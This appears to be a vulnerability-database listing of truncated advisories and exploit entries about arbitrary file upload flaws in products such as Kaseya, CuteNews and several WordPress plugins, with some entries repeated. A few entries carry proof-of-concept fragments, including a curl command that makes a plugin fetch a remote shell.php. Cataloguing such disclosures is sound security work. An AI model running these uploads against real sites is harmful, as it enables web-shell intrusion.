CVE-2015-6407

Cisco Emergency Responder 10.5(3.10000.9) is affected by a Web Framework Arbitrary File Upload vulnerability. The issue stems from insufficient parameter validation in the CER web framework, allowing unauthenticated remote attackers to upload arbitrary files to arbitrary locations on the device v...

The vulnerability of the SolarWinds Storage Manager data management software allows a hacker to upload and execute arbitrary files.

The vulnerability of the ProcessFileUpload.jsp component in the SolarWinds Storage Manager data management software exists due to insufficient validation of input data. Exploiting this vulnerability allows an attacker to remotely upload and execute arbitrary files...

Kirby 2.0.4 - Remote File Upload Vulnerability

Exploit for php platform in category web applications Title : Kirby 2.0.4 - Remote File Upload Vulnerability Name CMS : kirby Version : 2.0.4 Author :ZwX Download : Date : 04/12/2014 ------------------------------------- Description ------------------------------------- The vulnerability is in th...

Kaseya Virtual System Administrator Remote File Upload Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Kaseya Virtual System Administrator. Authentication is not required to exploit this vulnerability. The specific flaw exists within the uploader.aspx page, which does not properly require that users...

Kaseya Virtual System Administrator Authenticated Remote File Upload Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Kaseya Virtual System Administrator. Authentication is required to exploit this vulnerability. The specific flaw exists within the json.ashx HTTP handler, which does not restrict destination file...

Csv2WPeC Coupon <= 1.1 - Unauthenticated Remote File Upload

The code in csv2wpecCouponFileUpload.php does not properly sanitize user input, it checks the file mime-type for type x-php but this can be tricked when using the short code for PoC "; $uploadfile="/var/www/s.pht"; $ch =...

WordPress CsvWPeC Coupon Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because user input is not properly sanitized. It allows a malicious user to upload executable files to a vulnerable wordpress installation. Solution Update the plugin...

Csv2WPeC Coupon <= 1.1 - Unauthenticated Remote File Upload

The code in csv2wpecCouponFileUpload.php does not properly sanitize user input, it checks the file mime-type for type x-php but this can be tricked when using the short code for "; $uploadfile="/var/www/s.pht"; $ch =...

WordPress Fast Image Adder 1.1 Shell Upload Vulnerability

WordPress Fast Image Adder plugin version 1.1 suffers from a remote shell upload vulnerability. Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder...

WordPress Fast Image Adder 1.1 Shell Upload

Title: Remote file upload vulnerability in fast-image-adder v1.1 Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-10 Download Site: https://wordpress.org/plugins/fast-image-adder Vendor: https://profiles.wordpress.org/robbyslaughter/ Vendor Notified: 2015-07-10 Vendor Contact:...

WordPress Mailcwp 1.99 Shell Upload

Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-07-09 Download Site: https://wordpress.org/plugins/mailcwp/ Vendor: CadreWorks Pty Ltd Vendor Notified: 2015-07-09 fixed in v1.110 Vendor Contact: Contact Page via WP site...

Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload

The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. PoC $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url=http://sitewithshellstodl/shell.php Shell location is reported back t...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload

The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://sitewithshellstodl/shell.php Shell location is reported back t...

WordPress Fast Image Adder Plugin <= 1.1 - Remote File Upload

This plugin is prone to a remote file upload vulnerability, because the fast-image-adder-uploader.php file doesn't check if a user is authorized to upload files. It creates a random file name, but reports the name back to the user. Solution Update the plugin...

CuteNews 2.0.3 - Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability Date: 02/07/2015 Exploit Author: T0x!c Facebook: https://www.facebook.com/Dz.pr0s Vendor Homepage: http://cutephp.com/ Software Link: http://cutephp.com/cutenews/cutenews.2.0.3.zip...

CuteNews 2.0.3 - Arbitrary File Upload

CuteNews 2.0.3 - Arbitrary File Upload CuteNews 2.0.3 Remote File Upload Vulnerability ================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //...

CuteNews 2.0.3 - Arbitrary File Upload

CuteNews 2.0.3 Remote File Upload Vulnerability ================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0...

WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload

WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload Title: Remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin Author: Larry W. Cashdollar, @larry0 Date: 2015-06-07 Download Site:...

WordPress Aviary Image Editor Add On For Gravity Forms Plugin - Beta Shell Upload

The remote file upload vulnerability is in aviary-image-editor-add-on-for-gravity-forms/includes/upload.php. Because of this vulnerability anyone can upload any file to the system. Solution Upgrade the plugin...